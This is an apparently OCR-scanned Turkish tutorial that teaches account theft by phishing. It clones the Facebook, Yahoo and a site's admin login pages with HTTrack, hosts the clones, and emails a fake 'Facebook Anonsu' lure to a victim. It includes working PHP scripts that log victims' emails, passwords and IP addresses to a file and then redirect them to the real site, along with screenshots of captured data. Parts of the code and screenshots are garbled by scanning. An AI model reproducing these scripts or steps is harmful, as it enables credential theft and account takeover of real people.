HTTrack

(+) Bu yazi birebir denenmistir ve basariyla uygulanmigtir.

HTTrack belirtilen web sitenin kopyasini olusturmaya yarayan bir aractir. Belirtilen web sitenin
kopyasini olusturup kendi sunucumuza atabilir, sonra URL'sini email yoluyla kurbanlara
gonderebilir ve en nihayetinde kurbanin linke tiklayip esas site zannederek kullanici ad1 ve sifresini
girmesini umabiliriz. Dolayisiyla HTTrack sosyal miihendislik saldirilarinda kullanilan bir aractir.

Simdi includekarabuk.com sitesinin login panelini httrack ile kopyalayalim.

Kali Konsol:

> httrack

Welcome to HTTrack Website Copier (Offline Browser) 3.48-21
Copyriht (C) 1998-2015 Xavier Roche and other contributors.
To see the option list, enter a blank line or try httrack --help
Enter project name : includekarabuk.com

Base path : /root/Desktop/includekarabukProject

Enter URLs (separated by commas or blank spaces) : www.includekarabuk.com
/adminPaneli/index.php

Action :
(enter) 1 Mirror Web Site(s)
2 Mirror Web Site(s) with Wizard
3 Just Get Files Indicated
4 Mirror All links in URLs (Multiple Mirror)
5 Test Links in URLSs (Bookmark Test)
6 Quit
:2
Proxy (return=none) : // Bos bir sekilde enter

You can define wildcards, like : -*.gif +www.*.com/*.zip -*img_*.zip
Wildcards (return=none) : // Bos bir sekilde enter

You can define additional options, such as recurse level (-r<number>), separed
by blank spaces

To see the options list, type help

Additional options (return=none) : // Bos bir sekilde enter

---> Wizard command line: httrack www.includekarabuk.com/adminPaneli/
index.php -W -0 "/root/Desktop/includekarabukProject/loginPanel" -%v

Ready to launch the mirror? (Y/n): Y



WARNING! You are running this program as root!
It might be a good idea to run as a different user.
Mirror launched on Mon, 28 Nov 2016 11:41:16 by HTTrack Website Copier

mirroring www.includekarabuk.com/adminPaneli/index.php with the wizard
help...

Done
Thanks for using HTTrack!
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Boylece /root/Desktop/includekarabukProject klasorii icerisinde includekarabuk.com adh klasoér var
olacaktir.
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includekarabuk.com klasorii icerisinden de www.includekarabuk.com klasériine, oradan da
adminPaneli klasoriine girerek klonlanmis web sayfasina ulasabiliriz.
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Yukaridaki klon sayfay1 veren index.html dosyasi tek basina yukaridaki ekrani verebilecek
yetidedir. Ciinkii css linkleri orijinal halleriyle durmaktadir. Yani yukaridaki sayfa
goriintiilendiginde orijinal www.includekarabuk.com sitesinden css dosyalar cekilmektedir.
Boylece ekrana orijinal login paneliyle tipatip bir login ekran1 gelmektedir.



Login panelindeki form action linki de orijinaline sadik birakildigi icin oraya saldirgan kendi
sunucusundaki bir php dosyasinin linkini koyabilir ve o php dosyasi ile post edilen kullanici adi
sifre bilgilerini dosyaladiktan sonra orijinal login sayfasina yonlendirme yapabilir. Boylece kurban
klon login sayfasina kullanic1 ad1 ve sifresini girdikten sonra ekraninda tekrar login ekranin
(orijinal olanini) gorecektir. Olay1 anlayamayip bir yanlislik oldu herhalde deyip tekrar kullanici adi
ve sifresini girerek esas sitede oturum acabilecektir. Bu sayede kullanici mutlu mesut orijinal sitede
surf'unu yaparken biz dosyaladigimiz kullanici adi ve sifre bilgileri ile kullanicinin ilgili sitedeki
hesabini ele gecirmis olacagiz.

Facebook Hesap Calma

HTTrack tool'unu Facebook Hesap Calma iglemi i¢in kullanabiliriz. Ornegin HT Track tool'u ile
facebook login sayfasinin klonunu iiretebiliriz ve bu klon sayfay:1 kendi sunucumuza
yerlestirebiliriz. Ardindan kurbana “Facebook Anonsu” gibi mail'ler ile kendi sunucumuzudaki klon
facebook login sayfasinin linkini gonderebiliriz. Kurban mail icinde belirtilen linke tikladiginda
ekranina klon facebook login sayfasi gelecektir. Hicbir seyin farkinda olmadan fake facebook
sayfasina login bilgilerini girdiginde POST edilen degiskenler sunucumuzdaki bir bagka php
dosyasi ile dosyalanacaktir ve sonra kurban orijinal facebook sayfasina yonlendirilecektir. Boylece
kurbanin ekranina yine facebook login sayfasi geleceginden bir yanlislik oldu herhalde, yanlis sifre
girmis olmaliyim deyip tekrar kullanici ad1 ve sifresini girerek facebook'ta login olacaktir. Biz ise
klon facebook sayfasinda girilen verileri dosyaladigimiz icin kurbanin facebook hesabini elde etmis
olacagiz.

Simdi anlatilan iglemleri sirasiyla yapalim. Once HTTrack ile www.facebook.com/index.php
sayfasinin klonunu tiretelim:

Kali Konsol:
> httrack

Welcome to HTTrack Website Copier (Offline Browser) 3.48-21
Copyriht (C) 1998-2015 Xavier Roche and other contributors.
To see the option list, enter a blank line or try httrack --help

Enter project name : facebook.com
Base path : /root/Desktop/includekarabukProject

Enter URLs (separated by commas or blank spaces) : www.includekarabuk.com
/adminPaneli/index.php

Action :
(enter) Mirror Web Site(s)

Mirror Web Site(s) with Wizard

Just Get Files Indicated

Mirror All links in URLs (Multiple Mirror)

Test Links in URLs (Bookmark Test)
Quit

AU A WN =



Proxy (return=none) : // Bos bir sekilde enter

You can define wildcards, like : -*.gif +www.*.com/*.zip -*img_*.zip
Wildcards (return=none) : // Bos bir sekilde enter

You can define additional options, such as recurse level (-r<number>), separed
by blank spaces
To see the options list, type help
Additional options (return=none) : -r 0 /I Recursive olarak
// derinlige inis yapma
// demis oluruz.
---> Wizard command line: httrack www.facebook.com/index.php
-W -0 "/root/Desktop/facebookProject/facebook.com" -%v -r 0

Ready to launch the mirror? (Y/n): Y

WARNING! You are running this program as root!
It might be a good idea to run as a different user.
Mirror launched on Mon, 28 Nov 2016 11:41:16 by HTTrack Website Copier

mirroring www.includekarabuk.com/adminPaneli/index.php with the wizard
help...

AC
Program terminated (signal 2)

HTTrack tool'u index.html disinda isimize yaramayacak bir siirii sey de bulacagindan klon
dosyalarin yer alacagi klasor igerisinde index.html dosyasi olustugu an CTRL+C ile tool'un
calismasini durduralim.

.gif +www.™.com/*.zip -*img_*.zip

= Level (-r<number=), red by blank

d command line: httrack www.fac

Program terminated (signal 2)




Simdi olusan index.html dosyasina cift tiklayarak nasil goriiniiyor bir bakalim.
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Goriildiigii tizere klon sayfamiz gayet diizgiin goriinmekte. Simdi bu sayfadaki login paneline ait
form action1 diizenleyelim ki formu submit'leyen kullanici POST'lanan degerleri dosyalayacak php
sayfasina yonlenebilsin. O yiizden index.html'deki form action="..." igerisine dosyalama yapacak

php dosyasinin linki girilir.

Klon Login Sayfasindaki (index.html'deki) Form Action Degeri Asagidaki Gibi Yapilir:

<form action="http://www.includekarabuk.com/hesapCalma/facebookHesapCalma/hesapDosyala.php
method="post">

Boylece form submit'lendiginde POST'lanan degerler hesapDosyala.php dosyasina gidecektir.
Simdi hazirlayacagimiz hesapDosyala.php dosyasi metin kutularindaki degerleri ¢ekebilsin diye
klon facebook sayfamizdaki metin kutularinin name="..." degerlerini 6grenelim:

Sag Tikla Ogeyi Denetle Sonucunda Name Attribute Degerleri:

Email Metin Kutusunun Name degeri : email
Sifre Metin Kutusunun Name degeri . pass



Boylece login panelini submit'leyen kullanici /hesapCalma/facebookHesapCalma/hesapDosyala.php
linkine email ve sifre bilgilerini POST'layacaktir. POST'la gelen verileri hesapDosyala.php dosyasi
asagidaki gibi cekecektir ve dosyalayacaktir.

hesapDosyala.php
<htmlI>
<head>
<title>Y 6nlendiriliyorsunuz...</title>
</head>
<body>
<?php
$ip = $_SERVER["REMOTE_ADDR"]; // Kurbanin ip’si alinir.
$email = $ POST["email"]; // Facebook email'i alinir.
$password = $_POST["pass"]; // Facebook sifresi alinir.
$dateTime = date('d.m.y \t H:i:s"); // Linke tiklanma zamani alinir.

$file = fopen("hesaplar.html", "a+");

twrite($file, "HHHEHHHEHHHHHHHHEHHHEHHEHHHHERHERH## <Dr>");

fwrite($file, "Kurbanin IP Adresi 2" $ip . "<br>");
fwrite($file, "Linke Tiklama Zamani : " . $dateTime . "<br>");
fwrite($file, "Facebook Mail'i " $email . "<br>");
fwrite($file, "Facebook Sifresi " . $password . "<br>");

fwrite($file, "HHHHHHHHHHHIHHHHHHEHHH A <Dr><br><br>");
fclose($file);

header("Location: https://www.facebook.com/index.php"); // Orijinal facebook login
// sayfasina yonlendirir.
>
</body>
</html>

Kullanici login panelini submit'ledikten sonra hesapDosyala.php sayfasina yonlenecektir ve girdigi
veriler yukaridaki kodlardan da goriilebilecegi {izere hesaplar.html dosyasina eklenecektir.
Ardindan header() fonksiyonu ile orijinal facebook login sayfasina yonlendirilecektir.

Artik alt yap1 hazir. Yani klon sayfa, klon sayfadan gelen verileri dosyalayan sayfa ve orijinal
sayfaya yonlendirme olay1 hazir. Klon sayfa uzantisini index.html 'den index.php yapalim ve
hazirladigimiz index.php, hesapDosyala.php dosyalarin1 kendi sunucumuzdaki hesapCalma klasorii
icerisinde yer alan facebookHesapCalma klasoriine atalim:



Bl '
| username: | | Password: | | Port: | | | Quickconnect )~

RESPUISE. 27 LILETTIg FaSSIVE MOUE (90,53, 167,22 1,£ 13,05]
M= command: MLSD

q Response: 150 Accepted data connection

Response: 226-Options:-a-l

?_") Response: 2265 matches total

Status: Directory listing successful

/home/hefese/Desktop/ | » | | Remotesite: | /public_html v

> ) Desktop |
> W Documents |
Filename ~ Filesize Filetype Last modified Filename =~ Filesize Filetype Lastmodified Permis
- | Directory 28-09-2016... 0755
= Directory 21-03-2016 13:... Directory 28-09-2016... 0755
. Directory 12-02-2016 22:... 05-12-2016....
- Directory 03-12-2016 00:... Directory 28-09-2016...
. Directory 19-04-2016 00.... Directory 28-09-2016... 0755
] Directory 29-10-2016 01:... Directory 28-09-2016... 0755
™ Directory 23-09-2016 2 Directory 07-11-2016... 0755
-] Directory 04-12-2016 00:... 16 B File 07-11-2016... 0644
- Directory 11-11-2016 00:... | 779B HTMLdo... 28-09-2016... 0644
= Directory 28-11-2016 18.... 1,5 KB HTML do... 28-09-2016... 0644
|253 Files and 12 directories. Total size: 3,2 MB |selected 1 directory.
Server/Local file Directio Remote file Size Priority Status
| Queued files ‘L Failed transfers | Successfultransfers (16) |
£ =8 | Queue: empty e

Not: hesapCalma klasoriiniin izni 777 olmall.

Filezilla

i =g
B B S & BEREN
| username: | | Password: | | Port: | | | Quickconnect )~
ZZ7 LIILST g Fa331VE MIUUT (F0,53, 161,22 1,£ 13,07 =

. MLSD
[, Response: 150 Accepted data connection
Response: 226-Options:-a-l
’-") Response: 2265 matches total

Status: Directory listing successful

/home/hefese/Desktop/ | = | | Remotesite: | /public_html/hesapCalma -

» ) Desktop
> i Documents | ¥ ) hesapCalma |
Filename ~ Filesize Filetype Last modified Filename ~ Filesize Filetype Lastmodified Permis
- | ..
] Directory 21-03-2016 13:... T FacebookHesapCalma Directory 05-12-2016
- Directory 12-02-2016 2. w yahooHesapCalma Directory 05-12-2016... 0777
. Directory 03-12-2016 00:...
] Directory 19-04-2016 00:...
. Directory 29-10-2016 01:...
W Directory 23-09-2016 21:...
] Directory 04-12-2016 00:...
- Directory 11-11-2016 0C:...
] Directory 28-11-2016 18:...
|253 Files and 12 directories. Total size: 3,2 MB |selected 1 directory.
Server/Local file Directio Remote file Size Priority Status
| Queued files ‘L Failed transfers | Successful transfers (16) |
|#] =\ |Queue: empty e

Not: facebookHesapCalma klasoriiniin iznini 777 yap.



Ardindan

d B ae) | & XEn
Host: Username: Password: Port: | | Quickconnect | »
RESPUIIST.  ZZ7 CIILCT g Fa531VE WIUUC (F0,93, 161,££ 1,£33, 131 ] =
Command: MLSD
Response: 150 Accepted data connection
Response: 226-Options:-a-l
Response: 226 4 matches total
Status: Directory listing successful
Local site: | fhome/hefese/Desktop/ | » | | Remotesite: | /public_html/facebookHesapCalma I/
> ) Desktop 2 cgi-bin
» W Documents | | FacebookHesapCalma |
. SO

Filename =~ Filesize Filetype Last modified Filename =~ Filesize Filet_ype Last modified Permis
.- | -
- 21-03-2016 13: hesapDosyala.php 1,2 KB php-file 28-11-2016... 0644
" 12-02-2016 22:... index.php 98,2 KB php-file 28-11-2016... 0644
™ 26-11-2016 20....
" 19-04-2016 00:...
w 29-10-2016 01:...
] 23-09-2016 21:...
] 25-11-2016 15:...
W 11-11-2016 00:...
™ 28-11-2016 18....
w
-

29-11-2016 17:...

21-08-2016 16:...
I 2803201422 -
|246 Files and 11 directories. Total size: 7,0 MB |2 Files. Total size: 99,4 KB
Server/Local file Directio Remote file Size Priority Status
Queued files Failed transfers | Successful transfers (1)

£ .Queua: empty e

http://www.includekarabuk.com/hesapCalma/facebookHesapCalma/index.php

adresine girip klon web sayfamiz sunucumuzda nasil goriiniiyor bakalim.

Tureng - intrusive E3 Facebook-LogIn«

P eI WRo ) w.includekarabuk.com indexphp)
M is Basvurularn B Givenlik Haber B Teknoloji Haber () ODTU Lisansiis

acebookHesapCalma

facebook

AwWSEC2 ¥ Ulusal Bilgi Give (b Yiksek Lisans Sii 5 Metasploit = BGA Takvim »

Email or Phone Password

Facebook helps you connect and share with the

people in your life.
j O
AL
2

T

1
g A

L

A

Create an account

It's free and always will be.
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Re-enter mobile number or email address

L

New password
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Female Male

By clicking Create an account, you agree to our Terms and that
you have read our Data Policy, including our Cookie Use

Create a Page for a celebrity, band or business. >



Goriildiigii gibi orijinal facebook login sayfasiyla tipatip goriinmekte. Simdi yapilacak sey

http://www.includekarabuk.com/facebookHesapCalma/index.php

linkini kurbanlara “Facebook Anonsu” konseptinde mail yoluya géndermek ve kurbanlarin linke
tiklamalarini ummaktir.

Mail:
Title: Facebook Anonsu

To :ilknur@gmail.com
Body:
Sevgili kullanic1 yeni gelismelerden haberdar olmak icin liitfen giris yapimz:

Facebook Login Sayfasi // Bu bir linktir.
// Icinde hazirladigmiz klon facebook

// login sayfasinin linki var.
Corporate office -
Campus building at Menlo Park,

California

Facebook Ekibi

Kurban linke tikladiginda asagidaki klon facebook login ekranina ulasacaktir.



pok - Log In or Sign Up - Chromium
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Email or Phone Password

facebook

Create an account

Facebook helps you connect and share with the

people in your life. It's free and always will be.
& 2 % g & 2 First name Surname
1 8 4 Mobile number or email address
¥ - & & Re-enter mobile number or email address

New password
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By clicking Create an account, you agree to our Terms and that
you have read our Data Policy, including our Cookie Use.

Create an account

Create a Page for a celebrity, band or business. e

Login bilgilerini girdiginde ve submit'lediginde hesapDosyala.php dosyasina yonlenecektir.
HesapDosyala.php dosyasi kendisine POST'lanan verileri dosyalayacaktir ve kurbani orijinal
Facebook login sayfasina yonlendirecektir. Bu igslem bir ¢irpida olacagindan aradaki sayfa hig
hissedilmeyecektir. Kurban yanlis sifre girdigim icin ikinci kez login ekrani geliyor diye
diisiinecektir. Biz ise verileri dosyalayarak phising saldirisin1 bagariyla tamamlamis olacagiz.

Klon Sayfaya Kullanici Adi ve Sifre Girilir:

ook - Log In or Sign Up - Chromium
B Google Ceviri x ¥ A 29-10-2016 Konfer
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Ei Facebook-Loginc x § Y
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Email or Phone Password

facebook . -

Forgotten account?

Facebook helps you connect and share with the Create an accou nt
people in your life. It's free and always will be.
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3 L
& 3 & §§ Re-enter mobile number or email address

Orijinal Sayfaya Gidilir:
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Email or Phone Password

facebook

Create an account

Facebook helps you connect and share with the

people in your life. It's free and always will be.
& £~. &_ & j_L & First name Surname
& ‘& {_L ﬂ. Mobile number or email address
¥ )rL fl Re-enter mobile number or email address

Login Bilgileri dosyaya gelir:

B Google Ceviri x l'?. 29-10-2016 Kon! x Y [ Facebook

& C 1Y | ©@ www.includekarabuk.com/hesapCalma/facebookHesapCalma/hesaplar.htm
B is Basvurulari Bm Giivenlik Haber Bm Teknoloji Haber (b ODTU Lisansiis AWS EC2

Kurbanin IP Adresi : 178.233.170.175
Linke Tiklama Zamani : 05.12.16 t 01:22:40
Facebook Mail'i : SHerrem—
Facebook Sifresi sk

Not: Bu yazida yaptigimiz islemi Social Engineering Toolkit (SET) tool'u ile de yapabilmekteyiz.
Ancak arada bir fark vardir. $6yle ki SET tool'u ile klon bir web sayfasi olusturulur. Klon web
sayfasi /var/www dizinine atilip 80 portundan disariya verilir. IP'miz kurbana facebook linki
goriiniimiinde eposta yoluyla gonderilir. Kurban IP'mize tikladiginda ekranina klon web sayfasi
gelir. Oraya girecegi kullanici adi ve sifreyi post'ladiginda ise SET tool'unun arayiiziine, yani
konsola kullanici ad1 ve sifre bilgileri gelir. Yani bu yazida yaptigimiz yontem ile SET tool'unun
yaptig1 yontem arasindaki fark ilk yontemde kullanici adi ve sifre dosyalanirken ikinci yontemde
konsola ¢iktilanmaktadir. SET tool'u hakkinda detaylh bilgi i¢in bkz. Web Penetration Testing in

Kali Linux, pg. 140-142




iki Asamali Login Panelleri

Login panelini iki asamali yapan web siteleri - yani username girildikten sonra password kutusunu
ekrana getiren web siteleri - AJAX teknolojisini kullanmaktadir. Ciinkii username girildikten sonra
ne sayfa yenileniyor ne de URL degisiyor. Ekrana 6ylece password metin kutusu geliyor.
Dolayisiyla bu tiir login panellerinden kurbanin bilgilerini almak biraz daha kiilfetlidir. Bu tiir login
panelleri ilk agsamada girilen username'i AJAX ile sunucuya gonderir. Ardindan ekrana gelen
password metin kutsuna girilen password'iit AJAX ile sunucuya gonderir. Dolayisiyla bu tip bir
login paneli klonlamak ve hesap calma seklinde ayarlamak icin login paneli klonlayip AJAX
kodlarindaki hedef URL'ye kendi sunucumuzdaki dosyalama yapan php dosyasini géstermemiz
gerekir. Yani kullanic1 username'i girdiginde kullanicinin username'i AJAX ile bizim dosyalama
yapan php dosyasina gitmelidir. Ardindan kullanici password girdiginde kullanicinin password'ii
AJAX ile yine bizim dosyalama yapan php dosyasina gitmelidir. Daha sonra dosyalama yapan php
dosyasi kullaniciy1 orijinal login paneline yonlendirmelidir. Bu sekilde bu tip login panellerinden
istifade edebiliriz.

Yahoo Hesap Calma (iki Asamah Login Paneli)

Yahoo Login Paneli iki asamaldir:

Eposta Girig Ekrani:

Yahoo - oturum ag - Chromium

B Google Ceviri x 1 A 29-10-2016 Konfe

== 3 = 4) 10:44 %

% ¥ Wl Yahoo-oturumag x ¥ [P Posta-Hasan Fatilh x ¥ [ 404 Not Found 8 W =

= C (0 | & https://loginyahoo.com, | @
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4 Girig yaparken sorun mu
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@ Hesap giivenligi konusu

Hesap guvenlifji konusu
haklanda daha fazla bilgi

Potansiyel olarak etkilenmig
kullanicilar hakkindaki
bildirimiz,

Ucretsiz kargo
i B Hesabiniz vok mu? Kaydol

A8 vasasi Giis yaparak Yahoo nun tarayic

ima cerezler yerlestirmesini kabul ediyorum,
izl

Sifre Giris Ekrani:
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| YAHOO!

Yardim
TURKIYE

TURKIYE

86 < YAHOO!

Merhaba durmussimsek

Parola

Parolanizi mi unuttunuz?

Ucretsiz kargo

A8 vasasi Giis yaparak Yahoo nun tarayic

1ma gerezler yerlestimmesini kabul ediyorum,
Gizilk

Ikinci ekran gelirken sayfada herhangi bir refresh olay1 olmamaktadir. URL de ayni sekilde
kalmaktadir. Dolayisiyla diyebiliriz ki hedef web sitesi AJAX teknolojisini kullanmaktadir. ilk
ekranda email girisi yapinca AJAX baglantis1 kurulup email adresi génderilmektedir. Sonra iletisim
basariyla gerceklesince javascript kodlari ile email giris ekraninin div kutucugu hide yapilip sifre
giris ekraninin div kutucugu show yapilmaktadir. Bdylece ayn1 dosyada ekrana sifre girme ekrani
yansitilmaktadir.

Simdi bu login paneli iizerinden kurban hesabi ele gecirmek i¢in login paneli klonlayalim. Bunun
icin masaiistiinde yahoo.com adli bir klasér olugturalim:

Ubuntu Konsol:
> sudo su
> cd ~/Desktop

> mkdir yahoo.com
> apt-get install httrack

Ardindan klonlama islemini baslatalim:

Ubuntu Konsol:
> httrack
Welcome to HTTrack Website Copier (Offline Browser) 3.48-21
Copyriht (C) 1998-2015 Xavier Roche and other contributors.
To see the option list, enter a blank line or try httrack --help

Enter project name : yahoo.com

Base path : /home/hefese/Desktop/yahoo.com



Enter URLs (separated by commas or blank spaces) : https://login.yahoo.com/
config/mail?.lang=tr-tr

Action :
(enter) 1 Mirror Web Site(s)
2 Mirror Web Site(s) with Wizard
3 Just Get Files Indicated
4 Mirror All links in URLs (Multiple Mirror)
5 Test Links in URLSs (Bookmark Test)
6 Quit
:2
Proxy (return=none) : // Bos bir sekilde enter

You can define wildcards, like : -*.gif +www.*.com/*.zip -*img_*.zip
Wildcards (return=none) : // Bos bir sekilde enter

You can define additional options, such as recurse level (-r<number>), separed
by blank spaces

To see the options list, type help

Additional options (return=none) : // Bos bir sekilde enter

---> Wizard command line: httrack https://login.yahoo.com/config/mail?.lang
=tr-tr -W -O "/home/hefese/Desktop/yahoo.com" -%v

Ready to launch the mirror? (Y/n): Y
WARNING! You are running this program as root!
It might be a good idea to run as a different user.

Mirror launched on Mon, 28 Nov 2016 11:41:16 by HTTrack Website Copier

mirroring https://login.yahoo.com/config/mail?.lang=tr-tr with the wizard
help...

Done
Thanks for using HT Track!



root@hefese-N613q: /home/hefese# httrack

Welcome to HTTrack Website Copier (Offline Browser) 3.48-1+libhtsjava.so.2
Copyright (C) 1998-2813 Xavier Roche and other contributors
To see the option list, enter a blank line or try httrack --help

Enter project name :yahoo.com
Base path (return=/root/websites/) :/home/hefese/Desktop/yahoo.com

Enter URLs (separated by commas or blank spaces) :https://login.yahoo.com/config
/mail?.lang=tr-tr

Mirror Web Site(s)

Mirror Web Site(s) with Wizard

Just Get Files Indicated

Mirror ALL links in URLs (Multiple Mirror)
Test Links In URLs (Bookmark Test)

Quit

Proxy (return=none) :

You can define wildcards, like: -*.gif +www.*.com/*.zip -*img_*.zip
Wildcards (return=none) :

You can define additional options, such as recurse level (-r<number>), separed by blank spaces
To see the option list, type help
Additional options (return=none) :

---> Wizard command line: httrack https://login.yahoo.com/config/mail?.lang=tr-tr -W -0 "/home/hefese/Desktop/yahoo.com/yahoo.com" -%v
Ready to launch the mirror? (Y/n) :Y

WARNING! You are running this pregram as root!

It might be a good idea to run as a different user

Mirror launched on Mon, ©5 Dec 2016 10:59:02 by HTTrack Website Copier/3.48-1+libhtsjava.so.2 [XR&C0'2013]

mirroring https://login.yahoo.com/config/mail?.lang=tr-tr with the wizard help..
freeing table ; writes=1 (new=1) moved=0 stashed=0 max-stash-siz avg-moved=0 rehash=0 pool-compact=1 pool-realloc=1
freeing table ; writes=8 (new=0) moved=0 stashed=0 max-stash-siz ed=-nan rehash=@ pool-compact=0 pool-reallo
freeing table ; writes=1 (new=1) moved=0 stashed=0 max-stash-siz ed=0 rehash=0 pool-compact=0 pool-realloc=1 memory=6968
freeing table ; writes=3 (new=3) moved=0 stashed=0 max-stash-siz ed=0 rehash=8 pool-compact=0 pool-realloc=0 memory=6712
freeing table ; writes=3 (new=3) moved=0 stashed=0 max-stash-siz e rehash=0 pool-compact=0 pool-realloc=0 memory=6712
freeing table ; writes=0 (new=0) moved=0 stashed=0 max-stash-size= e nan rehash=0 pool-compact=0 pool-realloc=0 memory=6712

Thanks for using HTTrack!
"

root@hefese-N611q: fhome/hefese# l

Ardindan

> chmod -R 777 yahoo.com
yapalim ve

/home/hefese/Desktop/yahoo.com/yahoo.com/login.yahoo.com/config/
dizinindeki mailOdOa.html dosyasim ayiralim. Bu ayirdigimiz dosya hem email giris ekran1 html
kodlarini hem de sifre giris ekrani html kodlarin icermektedir. AJAX kodlar1 muhtemelen harici bir
javascript dosyasinda oldugundan dolay1 AJAX kodlarin1 bulup manipule etmekten ziyade mevcut

klon dosyasini kopyalayip iki klon dosyasindan birini email giris ekrani olarak digerini de sifre giris
ekrani olarak kullanmay tercih edelim.

config

™ Home Desktop yahoo.com yahoo.com logi hoo.com config

Places
© Recent
@ Home
[ Desktop
[ Documents

< Downloads
dd Music

S



Yaptigimiz tercih dogrultusunda sahte login panelini kurmak icin yapilacak adimlar sunlardir:
Not: Asagida bahsedilen yapilacak adimlar includekarabuk.com sunucusundaki
/hesapCalma/yahooHesapCalma

dizininde yer alan dosyalara uygulanmistirlar.

i) Birinci klon dosyadaki form tagni
http://www.includekarabuk.com/hesapCalma/yahooHesapCalma/hesapDosyala.php
yap.
ii) Birinci klon dosyadaki form tagh igerisine
<input type="hidden" name="flag" value="email"/>

tag'im koy. Boylece birinci klon dosyadaki form submit'lendiginde hesapDosyala.php'deki if
kosuluna girebilelim.

ii) Birinci klon dosyasindaki metin kutusu name 'ini "email" yap.
iii) Ikinci klon dosyadaki form tag'in

http://www.includekarabuk.com/hesapCalma/yahooHesapCalma/hesapDosyala.php

yap.

iv) ikinci klon dosyadaki form tag' igerisine
<input type="hidden” name="flag” value="password”/>

tag'in1 koy. Boylece ikinci klon dosyadaki form submit'lendiginde hesapDosyala.php'deki else if
kosuluna girebilelim.

v) Ikinci klon dosyasindaki email giris ekram string'lerini sifre giris ekram olarak modifiye et. (Sifre
giris ekran1 html kodlar1 her nedense bir tiirlii ekrana yansitilamadigindan email giris ekrani
kodlarini sifre kodlar olarak modifiye etme yontemi tercih edildi).

vi) Ikinci klon dosyasindaki metin kutusu name 'ini "password" yap.

vii) Birinci klon dosyasinin ismini index_mail.php olarak, ikinci klon dosyasinin ismini ise
index_pass.php olarak degistir.

viii) Son olarak hesapDosyala.php dosyasi olustur ve icine su kodlar yerlestir:



hesapDosyala.php:

<?php

session_start();
session_cache_expire(15);

>
<html>

<head>

<title>Yo6nlendiriliyorsunuz...</title>

</head>
<body>
<?php

$flag = $_POST["flag"];

if( $flag == "email"){

}

$_SESSION["victim"]["email"] = $_POST["email"]; // Kurbanin mail adresi alinir.

// Kurban sifre girme ekranina yonlendirilir.
header("Location: http://www.includekarabuk.com/hesapCalma/yahooHesapCalma/index_pass.php");

else if ($flag == "password"){

}

>

</body>
</html>

$_SESSION["victim"]["password"] = $_POST["password"];
$_SESSION["victim"]["ip"] =$ SERVER["REMOTE_ADDR"]; // Kurbanmin ip’si alinir.
$_SESSION["victim"]["date"] = date('d.m.y \t H:i:s"); // Linke tiklanma zamani alinir.

$file = fopen("hesaplar.html", "a+");

twrite($file, "HHHHHHHHHHHIHHHIHHHH AT <Dr>");

fwrite($file, "Kurbanin IP Adresi ;" . $_SESSION["victim"]["ip"] . "<br>");
fwrite($file, "Linke Tiklama Zamani 1" . $_SESSION["victim"]["date"] . "<br>");
fwrite($file, "Yahoo Mail'i ;" . $_SESSION["victim"]["email"] . "<br>");
fwrite($file, "Yahoo Sifresi 1" . $_SESSION["victim"]["password"] . "<br>");

fwrite($file, "#######################################<br><br><br>")
fclose($file);

// Kurban orijinal yahoo login paneline yonlendirilir.
header("Location: https://login.yahoo.com/config/mail?.lang=tr-tr"");

Yukarnidaki kodlar1 yorumlayacak olursak if kosulu ilk klon ekraninda yapilan submit'leme sonrasi
girilecek kosuldur. else if kosulu ikinci klon ekraninda yapilan submit'leme sonrasi girilecek
kosuldur. ik klon ekranina email adresi girilip submit'lendiginde if'e girilir, email adresi session'a
konur ve kullama ikinci klon ekrana header() ile yonlendirilir. Ekrana ikinci klon ekram gelir.
Ikinci klon ekranina sifre girilip submit'lendiginde ise else if'e girilir, sifre session'a konur, tiim
session'lar dosyaya yazdirilir ve kullanici orijinal yahoo sayfasina header() ile yonlendirilir.

Not: hesapDosyala.php 'de session kullanimina ihtiya¢ duyulmustur. Ciinkii normal
degisken kullanilsaydi birinci ekran submit'lendiginde email adresini tutacak



degisken ikinci ekran submit'lendiginde erisilemez olacakti. Bu durumda email
adressiz bir dosyalama yapmus olacaktik. Bu nedenle birinci ekrandaki degeri kalici
bir degiskende depolayalim ki ikinci submit'te de kullanabilelim diye session
degiskenleri kullamlmstir.

index_mail.php, index_pass.php ve hesapDosyala.php dosyalar1 sunucuya yiiklenir.

- Filezilla ey 3 = 4)) 1146 1

© Mo GG sl I EXEA
Host: | Username: | Password: | | Port: | | Quickconnect | »
RCIPUIBE. £UU UN, U11-0 CHauiey =
Status: Connected

Command: CWD /fpublic_html/hesapCalma/yahooHesapCalma

Response: 250 OK. Current directory is /public_html/hesapCalma/yahooHesapCalma

Command: DELE hesaplar.html

Response: 250 Deleted hesaplar.html |

Localsite: | /home/hefese/Desktop/ v | | Remotesite: | /public_html|/hesapCalma/yahooHesapCalma |~
>} Desktop ® facebookHesapCalma
> 4 Documents | » yahooHesapCalma |

. . D Latanarilac

Filename * Filesize Filetype Last modified Filename * Filesize Filetype Lastmodified Permis

» -

- Directory 21-03-2016 13:...

- Directory 12-02-2016 22....

= Directory 03-12-2016 00:... M index_pass.php ,4KB php-file  05-12-2016.. 0644

- Directory 18-04-2016 00:...

w Directory 29-10-2016 01:...

™ Directory 23-09-2016 21:...

w Directory 04-12-2016 00:...

- Directory 11-11-2016 00:...

- Directory 28-11-2016 18:...

8253 files and 12 directories. Total size: 3,2 MB |selected 3 files. Total size: 201,0KB

|§ server/Localfile Directio Remote file Size Priority Status

Queued files Failed transfers | Successfultransfers (1) |

£:] e E.QUEIJE: Emp-ty L]

Ardindan klon yahoo login sayfasi sunucumuz iizerinde goriintiilenir.

http://www.includekarabuk.com/hesapCalma/yahooHesapCalma/index_mail.php
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Yahoo, kendi dilnyanizda sizin i¢in en 6nemli seylere
ulagsmanizi kolaylastirir. Giris

Sinifinin en iyisi Yahoo Mail, yerel, ulusal ve diinyadan ) )
sicak haberler, finans, spor, miizik, sinema ve daha bir gok E-postanizigain
konu ve alanda bilgiler. Internet'ten daha fazlasini;

yasamdan daha fazlasini alacaksiniz.

v Girig yaparken sorun mu
Girig yapmis olarak yagiyorsunuz?
kalin :

@ Hesap giivenligi konusu

Hesap guvenligi konusu
hakkinda daha fazla bilgi

Potansiyel olarak etkilenmig
kullanicilar hakkindaki
bildirimiz.

Hesabimz vok mu? Kavdol

AB Yasasi: Girig yaparak Yahoonun tarayicima

ler yerlegtimmesini kabul ediyorum

BBt %m0 4) 11:49

&« oHesapCalma/index_mail.phg TRy @
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q YA]"()Or Yardim
5) TURKIYE
9
YAHOO!
E TURKIYE
- Yahoo, kendi diinyanizda sizin i¢in en 6nemli seylere
A ulasmanizi kolaylastirir. Girig
® Sinifinin en iyisi Yahoo Mail, yerel, ulusal ve diinyadan o
